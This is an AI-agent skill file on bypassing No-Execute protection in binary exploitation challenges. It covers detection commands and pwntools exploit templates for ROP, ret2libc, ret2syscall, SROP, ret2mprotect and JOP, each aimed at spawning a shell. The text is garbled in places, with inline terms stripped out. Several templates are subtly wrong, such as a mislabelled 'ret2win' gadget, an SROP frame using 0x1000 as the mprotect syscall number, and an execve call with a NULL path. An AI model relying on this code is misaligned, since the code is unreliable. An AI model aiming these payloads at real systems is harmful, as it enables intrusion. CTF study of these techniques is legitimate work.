Hacktricks-skills nx-protection-bypass
Use this skill whenever analyzing binary exploitation challenges involving No-Execute (NX) protection. Trigger when the user mentions NX, non-executable stack, code-reuse attacks, ROP chains, SROP, ret2libc, ret2mprotect, or any scenario where they need to bypass execute-disable protections. This skill covers detecting NX status, understanding the protection mechanism, and implementing bypass techniques including ROP, SROP, and permission-flipping attacks.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx/SKILL.MDNo-Execute (NX) Protection and Bypasses
This skill helps you analyze and bypass No-Execute (NX) protection in binary exploitation challenges. NX prevents execution of code on the stack and heap, forcing attackers to use code-reuse techniques.
When to Use This Skill
Use this skill when:
- You're analyzing a binary and need to check if NX is enabled
- You've found a buffer overflow but can't execute shellcode directly
- You need to understand what bypass options are available
- You're planning a ROP, SROP, or ret2libc attack
- You encounter NX-related errors during exploitation
Quick Detection
First, determine if NX is enabled on your target binary:
# Using checksec (recommended) checksec --file ./vuln # Using readelf readelf -W -l ./vuln | grep GNU_STACK # Look for RW (no E flag) = NX enabled # Look for RWE (has E flag) = NX disabled # Using execstack (quick audit) execstack -q ./vuln # Prints "X" if stack is executable # Runtime check cat /proc/<pid>/maps | grep -E "\[stack\]" # rw- = NX enabled, rwx = NX disabled
Interpretation:
orNX enabled
permissions = stack is non-executable (you need a bypass)RW
orNX disabled
permissions = you can execute shellcode directlyRWE
Bypass Strategy Selection
Choose your bypass technique based on what's available:
| Technique | When to Use | Requirements |
|---|---|---|
| ROP | Most common case | gadgets in binary/libc |
| Ret2libc | Binary imports / | Known libc addresses |
| Ret2syscall | No libc imports | Syscall numbers, register control |
| SROP | Limited gadgets, single | Info leak for libc base |
| Ret2mprotect | Need to run shellcode | in libc, writable page |
| JOP/COP | CET/IBT hardened, no gadgets | or gadgets |
Core Bypass Techniques
1. Return-Oriented Programming (ROP)
ROP chains reuse existing code snippets (gadgets) ending in
ret to perform arbitrary operations without injecting executable code.
Basic workflow:
- Find gadgets using
orropperradare2 - Leak a libc/code address to resolve bases
- Chain gadgets to set up registers
- Call
or equivalentsystem("/bin/sh")
Example with pwntools:
from pwn import * elf = ELF('./vuln') libc = ELF('./libc.so.6') # Find gadgets pop_rdi = next(elf.search(b'pop rdi; ret')) ret2win = next(elf.search(b'pop rsi; ret')) # Build chain rop = ROP(elf) rop.ret2win() rop.ret2win() # Or call libc functions rop = ROP(libc) rop.system(next(libc.search(b'/bin/sh')))
2. Ret2libc
When the binary imports
system and execve, you can directly call them from libc.
Requirements:
- Binary must import
(check withsystem
)nm -D ./vuln | grep system - Need libc base address (via info leak or hardcoded for local testing)
Template:
from pwn import * elf = ELF('./vuln') libc = ELF('./libc.so.6') # Find addresses system_addr = libc.symbols['system'] binsh_addr = next(libc.search(b'/bin/sh')) # Build payload payload = flat([ 'A' * offset, # Fill buffer to overwrite return address pop_rdi, # pop rdi; ret binsh_addr, # argument for system system_addr # call system ]) sendline(payload)
3. Ret2syscall
When libc functions aren't available, use syscalls directly.
Common syscalls:
(59 on x64, 11 on x86) - execute program__NR_execve
(10 on x64, 125 on x86) - change memory permissions__NR_mprotect
(15 on x64, 138 on x86) - for SROP__NR_rt_sigreturn
Template for execve:
from pwn import * # x64 syscall convention: rax=syscall_num, rdi=arg1, rsi=arg2, rdx=arg3 rax = 59 # __NR_execve rdi = 0 # NULL (argv[0]) rsi = 0 # NULL (argv) rdx = 0 # NULL (envp) # Find gadgets to set registers pop_rax = next(elf.search(b'pop rax; ret')) pop_rdi = next(elf.search(b'pop rdi; ret')) # ... etc # Find syscall; ret gadget syscall_ret = next(elf.search(b'\x0f\x05\xc3')) # syscall; ret payload = flat([ pop_rax, rax, pop_rdi, rdi, pop_rsi, rsi, pop_rdx, rdx, syscall_ret ])
4. Sigreturn Oriented Programming (SROP)
SROP creates a fake signal frame and calls
sys_rt_sigreturn to restore arbitrary register state.
When to use:
- Only one
gadget availablesyscall; ret - Need full register control
- Recent CTF challenges often feature this
Basic concept:
- Build fake
structure on writable memorysigframe - Set all registers to desired values in the frame
- Call
(syscall 15 on x64)sys_rt_sigreturn - Kernel "restores" your fake context
Template:
from pwn import * # Build fake sigframe sigframe = SigreturnFrame(elf) sigframe.rax = 0x1000 # mprotect sigframe.rdi = 0x404000 # target address sigframe.rsi = 0x1000 # size sigframe.rdx = 7 # PROT_READ | PROT_WRITE | PROT_EXEC sigframe.rip = 0x404000 # jump to shellcode after mprotect # Find syscall; ret syscall_ret = next(elf.search(b'\x0f\x05\xc3')) payload = flat([ 'A' * offset, syscall_ret, bytes(sigframe) # fake frame on stack ])
5. Ret2mprotect
Use
mprotect to make a writable page executable, then run shellcode.
Template:
from pwn import * from pwn import shellcraft elf = ELF('./vuln') libc = ELF('./libc.so.6') # Find mprotect in libc mprotect_addr = libc.symbols['mprotect'] # Align address down to page boundary bss_addr = elf.bss() & ~(0x1000 - 1) # Build ROP chain rop = ROP(libc) rop.mprotect(bss_addr, 0x1000, 7) # PROT_READ | WRITE | EXEC # Payload: ROP chain + shellcode payload = flat([ 'A' * offset, rop.chain(), asm(shellcraft.sh()) # shellcode ]) sendline(payload)
6. Jump/Call-Oriented Programming (JOP/COP)
When
ret instructions are blocked (CET/IBT), use indirect jumps or calls.
Gadget patterns to find:
- jump to address in raxjmp [rax]
- call address in rdicall [rdi]
- jump to address in rdx + offsetjmp [rdx + 0x10]
Template:
from pwn import * # Find JOP gadgets jmp_rax = next(elf.search(b'\xff\xe0')) # jmp rax jmp_rdi = next(elf.search(b'\xff\xe7')) # jmp edi # Build chain using indirect jumps payload = flat([ 'A' * offset, jmp_rax, next_gadget_addr, # ... continue chain ])
Common Pitfalls
- Address randomization (ASLR): Always leak an address first to calculate libc base
- Stack alignment: Some libc functions require 16-byte stack alignment
- Canaries: Check for stack canaries with
and bypass them firstchecksec - PIE binaries: If PIE is enabled, you need to leak the binary base too
- Gadget availability: Not all binaries have useful gadgets - check with
ropper
Debugging Tips
# Run with GDB and pwndbg/gef gdb ./vuln # In GDB: context # Show registers, stack, etc. pi pwn # Access pwntools in GDB # Check NX status in GDB info proc mappings # Trace execution set follow-fork-mode child run
Related Skills
- ROP chains: See the ROP skill for detailed gadget finding and chain construction
- Ret2libc: See the ret2libc skill for libc function exploitation
- SROP: See the SROP skill for signal frame exploitation
- Info leaks: See the info-leak skill for address disclosure techniques